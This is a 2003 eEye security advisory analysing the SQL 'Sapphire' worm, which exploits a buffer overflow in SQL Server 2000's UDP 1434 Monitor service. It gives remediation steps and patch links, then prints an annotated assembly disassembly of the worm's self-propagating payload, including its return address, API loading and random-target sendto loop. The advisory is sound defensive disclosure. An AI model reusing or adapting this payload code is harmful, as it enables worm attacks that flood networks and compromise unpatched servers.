SQL Sapphire Worm Analysis Release Date: 1/25/03 Severity: High Systems Affected: Microsoft SQL Server 2000 pre SP 2 Description: Late Friday, January 24, 2003 we became aware of a new SQL worm spreading quickly across various networks around the world. The worm is spreading using a buffer overflow to exploit a flaw in Microsoft SQL Server 2000. The SQL 2000 server flaw was discovered in July, 2002 by Next Generation Security Software Ltd. The buffer overflow exists because of the way SQL improperly handles data sent to its Microsoft SQL Monitor port. Attackers leveraging this vulnerability will be executing their code as SYSTEM, since Microsoft SQL Server 2000 runs with SYSTEM privileges. The worm works by generating pseudo-random IP addresses to try to infect with its payload. The worm payload does not contain any additional malicious content (in the form of backdoors etc.); however, because of the nature of the worm and the speed at which it attempts to re-infect systems, it can potentially create a denial-of-service attack against infected networks. We have been able to verify that multiple points of connectivity on the Internet have been bogged down since 9pm Pacific Standard Time. It should be noted that this worm is not the same as an earlier SQL worm that used the SA/nopassword SQL vulnerability as its spread vector. This is a new worm is more devastating as it is taking advantage of a software-specific flaw rather than a configuration error. We have already had many reports of smaller networks brought down due to the flood of data from the Sapphire Worm trying to re-infect new systems. Corrective Action We recommend that people immediately firewall SQL service ports at all of their gateways. The worm uses only UDP port 1434 (SQL Monitor Port) to spread itself to a new system; however, it is safe practice to filter all SQL traffic at all gateways. The following is a list of SQL server ports: ms-sql-s 1433/tcp #Microsoft-SQL-Server ms-sql-s 1433/udp #Microsoft-SQL-Server ms-sql-m 1434/tcp #Microsoft-SQL-Monitor ms-sql-m 1434/udp #Microsoft-SQL-Monitor Once again this worm is taking advantage of a known vulnerability that has had a patch available for many months. Microsoft has also released a recent service pack for SQL (Service Pack 3) that includes a fix for this vulnerability. Standalone patch: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/ bulletin/MS02-039.asp SQL 2000 Service Pack 3: http://www.microsoft.com/sql/downloads/2000/sp3.asp Previous SQL Service Pack versions are vulnerable. Technical Description The following is a quick run-down of what the worm's payload is doing after infection: 1. Retrieves the address of GetProcAddress and Loadlibrary from the IAT in sqlsort.dll. It snags the necessary library base addresses and function entry points as needed. 2. Calls gettickcount, and uses returned count as a pseudo-random seed 3. Creates a UDP socket 4. Performs a simple pseudo random number generation formula using the returned gettickcount value to generate an IP Address that will later be used as the target. 5. Send worm payload in a SQL Server Resolution Service request to the pseudo random target address, on port 1434 (UDP). 6. Return back to formula and continue generating new pseudo random addresses. push 42B0C9DCh ; [RET] sqlsort.dll -> jmp esp mov eax, 1010101h ; Reconstruct session, after the overflow the payload buffer ; get's corrupted during program execution but before the ; payload is executed. . xor ecx, ecx mov cl, 18h FIXUP: push eax loop FIXUP xor eax, 5010101h push eax mov ebp, esp push ecx push 6C6C642Eh push 32336C65h push 6E72656Bh ; kernel32 push ecx push 746E756Fh ; GetTickCount push 436B6369h push 54746547h mov cx, 6C6Ch push ecx push 642E3233h ; ws2_32.dll push 5F327377h mov cx, 7465h push ecx push 6B636F73h ; socket mov cx, 6F74h push ecx push 646E6573h ; sendto mov esi, 42AE1018h ; IAT from sqlsort lea eax, [ebp-2Ch] ; (ws2_32.dll) push eax call dword ptr [esi] ; call loadlibrary push eax lea eax, [ebp-20h] push eax lea eax, [ebp-10h] ; (kernel32.dll) push eax call dword ptr [esi] ; loadlibrary push eax mov esi, 42AE1010h ; IAT from sqlsort mov ebx, [esi] mov eax, [ebx] cmp eax, 51EC8B55h ; check entry point fingerprint jz short VALID_GP ; Check entry point fingerprint for getprocaddress, if it failes ; fall back to GetProcAddress entry in another DLL version. ; Undetermined what dll versions this will succedd on. Due ; to the lack of reliable importing this may not work across all ; dll versions. mov esi, 42AE101Ch ; IAT entry -> 77EA094C VALID_GP: call dword ptr [esi] ; GetProcAddress call eax ; return from GetProcaddress = GetTickCount entrypoint xor ecx, ecx push ecx push ecx push eax xor ecx, 9B040103h xor ecx, 1010101h push ecx ; 9A050002 = port 1434 / AF_INET lea eax, [ebp-34h] ; (socket) push eax mov eax, [ebp-40h] ; ws2_32 base address push eax call dword ptr [esi] ; GetProcAddress push 11h push 2 push 2 call eax ; socket push eax lea eax, [ebp-3Ch] ; sendto push eax mov eax, [ebp-40h] ; ws2_32 base address push eax call dword ptr [esi] ; GetProcAddress mov esi, eax ; save sendto -> esi or ebx, ebx xor ebx, 0FFD9613Ch PRND: mov eax, [ebp-4Ch] ; Pseudo Random Algorithm Start lea ecx, [eax+eax*2] lea edx, [eax+ecx*4] shl edx, 4 add edx, eax shl edx, 8 sub edx, eax lea eax, [eax+edx*4] add eax, ebx ; Pseudo Random Algorithm End mov [ebp-4Ch], eax push 10h lea eax, [ebp-50h] push eax xor ecx, ecx push ecx xor cx, 178h push ecx lea eax, [ebp+3] push eax mov eax, [ebp-54h] push eax call esi ; sendto jmp short PRND ; Jump back to Pseudo Random Algorithm Start In Closing We have provided brief information here as we are currently working to understand more of the worm's internal behavior. We will provide updates as they become available. This worm has been dubbed the "Sapphire Worm" by eEye due to the fact that several engineers had to be pulled away from local bars to begin the investigation/dissection process. Credit: Riley Hassell Related Links: SQLSecurity.com http://sqlsecurity.com/ Microsoft Security Bulletin: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/ bulletin/ms02-039.asp Copyright (c) 1998-2003 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please e-mail alertat_private for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. 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